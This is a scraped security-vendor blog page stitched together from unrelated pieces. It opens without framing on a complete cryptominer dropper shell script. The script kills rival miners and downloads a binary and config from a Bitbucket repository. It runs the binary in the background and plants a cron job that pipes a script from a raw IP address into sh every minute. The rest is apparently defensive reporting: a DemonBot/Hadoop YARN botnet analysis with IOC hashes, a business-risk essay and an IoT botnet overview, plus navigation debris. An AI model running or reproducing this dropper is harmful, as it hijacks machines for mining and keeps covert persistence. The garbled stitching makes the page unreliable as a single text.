pkill -f /var/tmp/look
rm -rf /var/tmp/look
pkill -f /var/tmp/nginx
rm -rf /var/tmp/nginx
rm -rf /var/tmp/dd
rm -rf /var/tmp/dd1
rm -rf /var/tmp/apple
pkill -f dd1.conf
pkill -f kkk1.conf
pkill -f ttt1.conf
pkill -f ooo1.conf
pkill -f ppp1.conf
pkill -f lll1.conf
pkill -f yyy1.conf
pkill -f 1111.conf
pkill -f 2221.conf
pkill -f dk1.conf
pkill -f kd1.conf
pkill -f mao1.conf
pkill -f YB1.conf
pkill -f 2Ri1.conf
pkill -f 3Gu1.conf
pkill -f crant
DIR="/tmp"
if [ -a "/tmp/java" ]
then
if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
then
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum /tmp/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
rm -rf /tmp/java
pkill -f w.conf
sleep 4
;;
esac
fi
echo "P OK"
else
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
else
if [ -d "/var/tmp" ]
then
DIR="/var/tmp"
fi
echo "P NOT EXISTS"
fi
if [ -d "/tmp/java" ]
then
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget -O";
fi
downloadIfNeed()
{
if [ -x "$(command -v md5sum)" ]
then
if [ ! -f $DIR/java ]; then
echo "File not found!"
download
fi
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
sizeBefore=$(du $DIR/java)
if [ -s /usr/bin/curl ];
then
WGET="curl -k -o ";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget --no-check-certificate -O ";
fi
echo "" > $DIR/tmp.txt
rm -rf $DIR/java
download
;;
esac
else
echo "No md5sum"
download
fi
}
download() {
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/pscf3 | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/pscf3 $DIR/java
;;
*)
echo "Java wrong"
download2
;;
esac
else
echo "No md5sum"
download2
fi
}
download2() {
$WGET $DIR/java https://bitbucket.org/zrundr42/mygit/raw/master/x_64
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/java $DIR/pscf3
;;
*)
echo "Java wrong"
;;
esac
else
echo "No md5sum"
fi
}
netstat -antp | grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
if [ "$(netstat -ant|grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102'|grep 'ESTABLISHED'|grep -v grep)" ];
then
ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
do
kill -9 $procid
done
else
echo "Running"
fi
if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
downloadIfNeed
chmod +x $DIR/java
$WGET $DIR/w.conf https://bitbucket.org/zrundr42/mygit/raw/master/w.conf
nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
sleep 5
rm -rf $DIR/w.conf
else
echo "Running"
fi
if crontab -l | grep -q "46.249.38.186"
then
echo "Cron exists"
else
echo "Cron not found"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
LDR="wget -q -O -";
fi
(crontab -l 2>/dev/null; echo "* * * * * $LDR http://46.249.38.186/cr.sh | sh > /dev/null 2>&1")| crontab -
fi
pkill -f logo4.jpg
pkill -f logo0.jpg
pkill -f logo9.jpg
pkill -f jvs
pkill -f javs
pkill -f 192.99.142.248
rm -rf /tmp/pscd*
rm -rf /var/tmp/pscd*
crontab -l | sed '/202.144.193.167/d' | crontab -
crontab -l | sed '/192.99.142.232/d' | crontab -
crontab -l | sed '/8220/d' | crontab -
crontab -l | sed '/192.99.142.226/d' | crontab -
crontab -l | sed '/192.99.142.248/d' | crontab -
crontab -l | sed '/45.77.86.208/d' | crontab -
crontab -l | sed '/144.202.8.151/d' | crontab -
crontab -l | sed '/192.99.55.69/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
crontab -l | sed '/logo/d' | crontab -
crontab -l | sed '/tor2web/d' | crontab -
crontab -l | sed '/jpg/d' | crontab -
crontab -l | sed '/png/d' | crontab -
crontab -l | sed '/tmp/d' | crontab -

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Download Now

New DemonBot Discovered

October 25, 2018 — by Pascal Geenens — 32

Are you using Hadoop for data analytics? If so, know that a new bot is targeting Hadoop clusters with the intention of performing DDoS attacks powered by the strength of cloud infrastructure servers. Hadoop is an open source distributed processing framework that manages storage and data processing for big data applications running in clustered systems.

Radware Threat Research Center is monitoring and tracking a malicious agent that is leveraging a Hadoop YARN unauthenticated remote command execution in order to infect Hadoop clusters with an unsophisticated new bot that identifies itself as DemonBot.

DemonBot spreads only via central servers and does not expose worm-like behavior exhibited by Mirai based bots. As of today, Radware is tracking over 70 active exploit servers that are actively spreading DemonBot and are exploiting servers at an aggregated rate of over 1 Million exploits per day. Note that though we did not find any evidence that DemonBot is actively targeting IoT devices at this time, Demonbot is not limited to x86 Hadoop servers and is binary compatible with most known IoT devices, following the Mirai build principles.

It is not the first time that cloud infrastructure servers have been targeted. Earlier this month Security Researcher Ankit Anubhav discovered a hacker leveraging the same Hadoop Yarn bug in a Sora botnet variant. Hadoop clusters typically are very capable and stable platforms and can individually account for much larger volumes of DDoS traffic compared to IoT devices. The DDoS attack vectors supported by DemonBot are UDP and TCP floods.

Hadoop YARN Exploits

Radware Research has been tracking malicious actors exploiting a Hadoop YARN unauthenticated remote command execution for which proof of concept code was first published here in March of this year. YARN, Yet Another Resource Negotiator, is a prerequisite for Enterprise Hadoop and provides cluster resource management allowing multiple data processing engines to handle data stored in a single platform. YARN exposes a REST API which allows remote applications to submit new applications to the cluster. The exploit requires two steps:

Our deception network recorded repeated attempts for /ws/v1/cluster/apps/new-application, slowly starting end of September and growing to over 1 million attempts per day for most of October.

The number of unique IPs from where the requests originated grew from a few servers to over 70 servers this week.

Older exploits from servers that are offline by now were referencing a well-known Mirai variant Owari, infamous because of the weak password used by the hackers for securing their command and control database:

Recently, however, we found Owari to be replaced by a new bot:

This new ‘bash’ binary was added to the server on Sunday Oct 21^st. The same server also hosts the typical shell script we came to expect from multiplatform IoT malwares:

While the botnet comes with all the typical indicators of Yet-Another-Mirai-Botnet, a closer look at the binaries revealed to be different enough to continue the investigation.

The reversing of the unstripped ‘bash’ binary revealed some unfamiliar function names and an atypical string which provided a unique fingerprint for the botnet code:

Searching through pastebin archives soon revealed a unique match on a document that was pasted on Sept 29^th by an actor going by the alias of Self-Rep-NeTiS. The paste contained the full source code for a botnet which the actor dubbed ‘DemonBot’. Further searches through the archives revealed the source code for the Command and Control server DemonCNC and the Python Build script for the multi-platform bots.

Both DemonBot.c and DemonCNC.c had an identical signature:

DemonCNC

The DemonBot Command and Control service is a self-contained C program that is supposed to run on a central command and control server and it provides two services:

A bot command and control listener service – allowing bots to register and listen for new commands form the C2
A remote access CLI allowing botnet admins and potential ‘customers’ to control the activity of the botnet

Starting the C2 service requires 3 arguments: a bot listener port, the number of threads and a port for the remote access CLI.

Credentials for remote users are stored in a plain text file ‘login.txt’ in the format “username password” using one line per credential pair.

Upon connecting to the remote access CLI (port 8025 in our demo setup) using telnet, the botnet greets us and asks for a username followed by a password prompt. If the provided credentials match one of the lines in the login.txt file, the user is given access to the bot control interface.

The HELP command reveals the botnet commands which will be discussed below in the section about DemonBot itself.

DemonBot

DemonBot is the program that is supposed to be running on infected servers and will connect into the command and control server and listens for new commands.

When a new DemonBot is started, it connects to the C2 server which is hardcoded with IP and port. If no port was specified for the C2 server the default port 6982 is used. The C2 connection is plain text TCP.

Once successfully connected, DemonBot sends information about the infected device to the C2 server in the format:

Bot_ip

The public IP address of the device or server infected with DemonBot:

Port

Either 22 or 23 depending on the availability of python or perl and telnetd on the device/server:

Build

“Python Device”, “Perl Device”, “Telnet Device” or “Unknown” depending on the availability of a Python or Perl interpreter on the device server:

Arch

The architecture, determined at build time and depending on the executing binary on the compromised platform – supported values for Arch are: x86_64 | x86_32 | Arm4 | Arm5 | Arm6 | Arm7 | Mips | Mipsel | Sh4 (SuperH) | Ppc (PowerPC) | spc (Sparc) | M68k | Arc

OS

Limited identification of the host OS running the bot based on package installer configuration files. Value is either “Debian Based Device”, “REHL Based Device” or “Unknown OS”

Malicious payloads

The bot supports the following commands:

If multiple IPs are passed in the argument in a comma-separated list, an individual attack process is forked for each IP.

The <spoofit> argument works as a netmask. If spoofit is set to 32, there is no spoofing of the bot’s source IP. If spoofit is set to a number less than 32, a random IP is generated within the bot_ip/<spoofit> network every <pollinterval> packets:

Fixed payload used by the STD UDP attack:

IOC

8805830c7d28707123f96cf458c1aa41 wget
1bd637c0444328563c995d6497e2d5be tftp
a89f377fcb66b88166987ae1ab82ca61 sshd
8b0b5a6ee30def363712e32b0878a7cb sh
86741291adc03a7d6ff3413617db73f5 pftp
3e6d58bd8f10a6320185743d6d010c4f openssh
fc4a4608009cc24a757824ff56fd8b91 ntpd
d80d081c40be94937a164c791b660b1f ftp
b878de32a9142c19f1fface9a8d588fb cron
46a255e78d6bd3e97456b98aa4ea0228 bash
53f6451a939f9f744ab689168cc1e21a apache2
41edaeb0b52c5c7c835c4196d5fd7123 [cpu]

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Download Now

Protecting Sensitive Data: A Black Swan Never Truly Sits Still

October 10, 2018 — by Mike O'Malley — 1

The black swan – a rare and unpredictable event notorious for its ability to completely change the tides of a situation.

For cybersecurity, these nightmares can take the form of disabled critical services such as municipal electrical grids and other connected infrastructure networks, data breaches, application failures, and DDoS attacks. They can range from the levels of Equifax’s 2018 Breach Penalty Fines (estimated close to $1.5 billion), to the bankruptcy of Code Spaces following their DDoS attack and breach (one of the 61% of SMBs companies that faced bankruptcy per service provider Verizon’s investigations), to a government-wide shutdown of web access in public servants’ computers in response to a string of cyberattacks.

Litigation and regulation can only do so much to reduce the impact of black swans, but it is up to companies to prepare and defend themselves from cyberattacks that can lead to rippling effects across industries.

[You might also like: What a Breach Means to Your Business]

If It’s So Rare, Why Should My Company Care?

Companies should concern themselves with black swans to understand the depth of the potential long-term financial and reputation damage and suffering. Radware’s research on C-Suite Perspectives regarding the relationship between cybersecurity and customer experience shows that these executives prioritize Customer Loss (41%), Brand Reputation (34%), and Productivity/Operational Loss (34%). Yet, a majority of these same executives have not yet integrated security practices into their company’s security infrastructure such as their application DevOps teams.

The long-term damage on a company’s finances is note-worthy enough. IT provider CGI found that for technology and financial companies alone, they can lose 5-8.5% in enterprise value from the breach. What often goes unreported, however, is the increased customer onboarding costs to combat against large-scale customer churn following breaches.

For the financial sector, global accounting firm KPMG found that consumers not only expect institutions to act quickly and take responsibility, but 48% are willing to switch banks due to lack of responsibility and preparation for future attacks, and untimely notification of the breaches. News publication The Financial Brand found that banking customers have an average churn rate of 20-40% in 12 months, while a potential onboarding cost per customer can be within the $300-$20,000 range. Network hardware manufacturer Cisco estimates as high as 20% of customers and opportunities could be lost.

Just imagine the customer churn rate for a recently-attacked company.

How does that affect me personally as a business leader within my company?

When data breaches occur, the first person that typically takes the blame is the CISO or CSO. A common misconception, however, is that everyone else will be spared any accountability. But the damage is not limited to just security leadership. Due to the wide array of impacts that result from a cyberattack, nearly all C-level executives are at risk; examples include but are not limited to Equifax’s CEO, Richard Smith, Target CEO Gregg Steinhafel and CIO Beth Jacob. This results in a sudden emptiness of C-Suite level employees. Suddenly, there’s a lack of leadership and direction, causing its own internal combination of instability.

Today’s business leaders need to understand that a data breach is no longer limited to the company’s reputation, but the level of welfare of its customers. Just the event of a data breach can shatter the trust between the two entities. CEOs are now expected to be involved with managing the black swan’s consequences; in times of these hardships, they are particularly expected to continue being the voice of the company and to provide direction and assurance to vulnerable customers.

A business leader can be ousted from the company for not having taken cybersecurity seriously enough and/or not understanding the true costs of a cyberattack – that is, if the company hasn’t filed for bankruptcy yet.

Isn’t this something that my company’s Public Relations department should be handling?

One of the biggest contributors to the aftermath chaos of a black swan is the poor/lack of communication from the public relations team. By not disclosing a data breach in a timely manner, companies incur the wrath of the consumer and suffer an even bigger loss in customer loyalty because of delays. A timely announcement is expected as soon as the company discovers the incident, or according to the GDPR, within 72 hours of the discovery.

A company and its CEO should not solely depend on their public relations department to handle a black swan nightmare. Equifax revealed its data breach six weeks after the incident and still hadn’t directly contacted those that were affected, instead of creating a website for customer inquiries. Equifax continues to suffer from customer distrust because of the lack of guidance from the company’s leadership during those critical days in 2017. At a time of confusion and mayhem, a company’s leader must remain forthcoming, reassuring and credible through the black swan’s tide-changing effects.

Following the cybersecurity black swan, a vast majority of consumers must also be convinced that all the security issues have been addressed and rectified, and the company has a plan in place for any future repeated incidents. Those that fail to do so are at risk of losing at least every 1 in 10 customers, exhibiting the potential reach of impact a black swan can have within a company alone, beyond financial aspects.

How Do You Prepare for When the Black Swan Strikes?

When it comes to the black swan, the strategic method isn’t limited to be proactive or reactive, but to be preemptive, according to news publication ComputerWeekly. The black swan is primarily feared for its unpredictability. The key advantage of being preemptive is the level of detail that goes into planning; instead of reacting in real-time during the chaos or having a universal one-size fits all type of strategy, companies should do their best to develop multiple procedures for multiple worst-case scenarios.

Companies cannot afford to be sitting ducks waiting for the black swan to strike, but must have prepared mitigation plans in place for the likelihood. The ability to mitigate through extreme cyber threats and emerging cyberattack tactics is a dual threat to the company, depending on the level of cybersecurity preparation a company possesses. By implementing a strong cybersecurity architecture (internal or third-party), companies can adapt and evolve with the constant-changing security threats landscape; thereby minimizing the opportunities for hackers to take advantage.

In addition to having a well-built security system, precautions should be taken to further strengthen it including WAF Protection, SSL Inspections, DDoS Protection, Bot Protection, and more. Risk management is flawed due to its nature of emphasis on internal risks only. What’s been missing is companies must do more to include the possibilities of industry-wide black swans, such as the Target data breach in 2013 that later extended to Home Depot and other retailers.

It’s Time To Protect Sensitive Data

In the end, the potential impact of a black swan on a company comes down to its business owners. Cybersecurity is no longer limited to a CISO or CSO’s decision, but the CEO. As the symbol and leader of a company, CEOs need to ask themselves if they know how their security model works. Is it easily penetrated? Can it defend against massive cyberattacks? What IP and customer data am I protecting? What would happen to the business if that data was breached?

Does it protect sensitive data?

Read “Radware’s 2018 Web Application Security Report” to learn more.

Download Now

IoT Botnets on the Rise

October 2, 2018 — by Daniel Smith — 5

Over the last two years, the criminal community has shifted its focus away from exploit kits as a mean of payload delivery and began focusing on exploiting IoT devices for the purpose of botnet development.

Botnets are all the rage and have become more advanced than the days of Sub7 and Pretty Pack. They possess the capability to target multiple devices on different architectures and infect them with a diverse range of payloads. But why are exploit kits falling out of favor and where is the evolution of botnets going?

Exploit kits in general are prepackaged toolkits that focus on compromising a device with a specific set of exploits. Typically, a victim is directed in a number of different ways to an attack page where the exploit kit will target an application in a browser such as Adobe Flash, Java or Silverlight. Once the victim is compromised by the exploit kit, it will drop and run a malicious payload on the targeted machine. What that payload is depends on the criminal or the person leasing the exploit kit for the day, but today they are mainly used to distribute ransomware or crypto mining payloads.

Exploit kits, a once popular avenue for an attack are now barely used due to the popularity of other attack vectors. Another major reason for the decrease in exploit kits activity is a result of authors abandoning their projects. But why did they abandon their project? Many experts would agree that this was the result of updated browser security and limited availability of undisclosed exploits needed to update their kits.

Unlike IoT devices, Adobe and Java exploits tend to be patched as soon as they become aware of the problem. This is a major challenge for criminals and one that involves a lot of effort and research on the criminals’ behalf. So the attacker is left with a choice. Invest time and research into an undiscovered exploit, or target devices that are rarely maintained patched or updated.

Enter: The IoT Botnet

Today modern botnets are mainly comprised of infected IoT devices such as cameras, routers, DVRs, wearables and other embedded technologies. The evolution in the botnet landscape highlights the security risks from millions of Internet-connected devices configured with default credentials or manufactures who won’t issue updates. Hackers can build enormous botnets consisting of a wide variety of devices and architectures because of this.

In comparison to web browser exploits, IoT devices come with poor security features such as open ports and default credentials. They are also poorly maintained and hardly receive updates. The process of capturing devices for a botnet is a fairly simple task that’s mainly automated. Hackers typically compromise these devices via brute force login. They have also recently evolved to inject exploit via open ports to compromise devices. They leverage these exploits typically after a researcher discloses a vulnerability.

Overall it is an automated process in which a bot is scanning the internet to identify potential targets and sending that information back to a reporting process. If a match is found, the device is exploited with an injection exploit and a malicious payload is downloaded to the device. The payloads downloaded today can vary, but it mainly gives the bot-herder the ability to remotely control the infected device just like a traditional PC botnet.

IoT botnets continue to evolve and they are becoming more versatile. It wasn’t long ago when Mirai reached the 1tbps mark but the process of how it was done has improved, leading many of us in the industry to worry about the next super attack.

[You might also like: The Evolution of IoT Attacks]

Mirai was simply a botnet comprised of infected IoT devices who left telnet open and utilized 61 default credentials found on popular devices. Because the port was left open to the world and users didn’t change their password, the attacker was able to capture a large number of exposed devices.

Before Mirai’s success, there was Gafgyt and Aidra. Both of these are IoT botnets as well. They spread by infecting vulnerable routers with default credentials. These botnets were successful. In fact, Gafgyt still continues to move in lockstep with Mirai. However, after the publication of the Mirai source code, the field became over saturated and bot-herders started incorporating patches to prevent other malware and herders from infecting their captured device. This change forced herders to look for a new way of capturing devices.

Shortly after, new Mirai variants started appearing. This time, instead of using default credentials they started incorporating exploits to target vulnerable devices. Attacker Best Buy used a modified variant that leveraged the TR-069 RCE exploit in an attempted to infect hundreds of thousands of Deutsche Telekom routers. Following Best Buy, IoT reaper appeared with borrowed code from Mirai, but this time included the addition of a LUA execution environment so more complex exploits could be leveraged to enslave devices. As a result, IoT reaper came loaded with nine exploits.

Hajime was not as elaborate as IoT reapers but it did combine the default credentials found in the original Mirai sample and the TR-069 Exploit leveraged by Best Buy. The Omni Botnet, another variant of Mirai was found to contain two new exploits targeting Dasan GPON routers. And just recently a Mirai sample was discovered and found to contain 16 exploits, including the Apache Strut vulnerability used against Equifax while the newest variant of Gafgyt was found to contain an exploit targeting SonicWalls Global Management System.

[You might also like: Defending Against the Mirai Botnet]

These two recent discoveries highlight a major change in their targeting strategy. This indicated a shift from targeting consumer devices to unprotected and rarely updated enterprise devices putting more pressure on the industry to ensure devices are updated in a timely manner.

Today we see Botnet development filling the void of Exploit kits as they incorporate more attack vectors and exploits into their deployments. Keep in mind that it’s not just about the multiple exploits. It also has to do with the speed in which exploitation occurs in the wild.

One of the main reasons we are seeing exploit kits fall out of favor is due to the improved browser security and speed in which the industry patches vulnerabilities targeting Flash, Java and Silverlight. This is not seen in the IoT botnet world where vulnerabilities are rarely patched.

At the end of the day, cybercriminals are following the money by taking the path of least resistance. Exploit kits over the last several years have been deemed high maintenance and hard to maintain due to improved security practices and a diminishing availability of private exploits.

We are also seeing cybercriminals looking to maximize their new efforts and infection rate by targeting insecure or unmaintained IoT devices with a wide variety of payloads ranging from crypto mining and ransomware to denial of service and fraud.

In the recent months, we have also seen a handful of botnets targeting enterprise devices which indicated an intention to move from targeting consumer devices to target enterprise devices that are poorly maintained and rarely updated.

Read: “When the Bots Come Marching In, a Closer Look at Evolving Threats from Botnets, Web Scraping & IoT Zombies”

Download Now

Older Posts

main

So, what does this mean for businesses?

CAPTCHA Alone Won’t Save You

Read “Radware’s 2018 Web Application Security Report” to learn more.

Share this:

JenX

ADB Miner

Satori.Dasan

Memcached DDoS Attacks

Hajime Expands to MikroTik RouterOS

Satori IoT Botnet Worm Variant

Hakai

DemonBot

Always on the Hunt

Read “The Trust Factor: Cybersecurity’s Role in Sustaining Business Momentum” to learn more.

Share this:

Automation for Detection and Mitigation

The Final Step: Self-Learning

Read the “2018 C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts” to learn more.

Share this:

Read “Radware’s 2018 Web Application Security Report” to learn more.

Share this:

Digital Fraud

Ad Fraud & Botnets

The Future of Ad Fraud

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Share this:

DemonBot

Credential Stuffing Campaign

DNS Hijacking Targets Brazilian Banks

Nigelthorn Malware

Stresspaint Malware Campaign

DarkSky Botnet

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Share this:

The Attackers and their Victims

Hadoop YARN Attack Surface

Types of Abuse

The Bitbucket Crypto Miner

YSDKOP, DemonBot in Hiding

Supra, DemonBot-ng

Hoho, a Botnet by Greek.Helios

prax0zma.ru

A Malware Zoo

Compromised Servers

When…Not If

(*1) Hadoop YARN Exploits

(*2) zz.sh script

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Share this:

Hadoop YARN Exploits

DemonBot v1 – © Self-Rep-NeTiS

DemonCNC

DemonBot

Bot_ip

Port

Build

Arch

OS

Malicious payloads

IOC

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Share this:

If It’s So Rare, Why Should My Company Care?

How does that affect me personally as a business leader within my company?

Isn’t this something that my company’s Public Relations department should be handling?

How Do You Prepare for When the Black Swan Strikes?

It’s Time To Protect Sensitive Data

Read “Radware’s 2018 Web Application Security Report” to learn more.

Share this:

Enter: The IoT Botnet

Read: “When the Bots Come Marching In, a Closer Look at Evolving Threats from Botnets, Web Scraping & IoT Zombies”

Share this: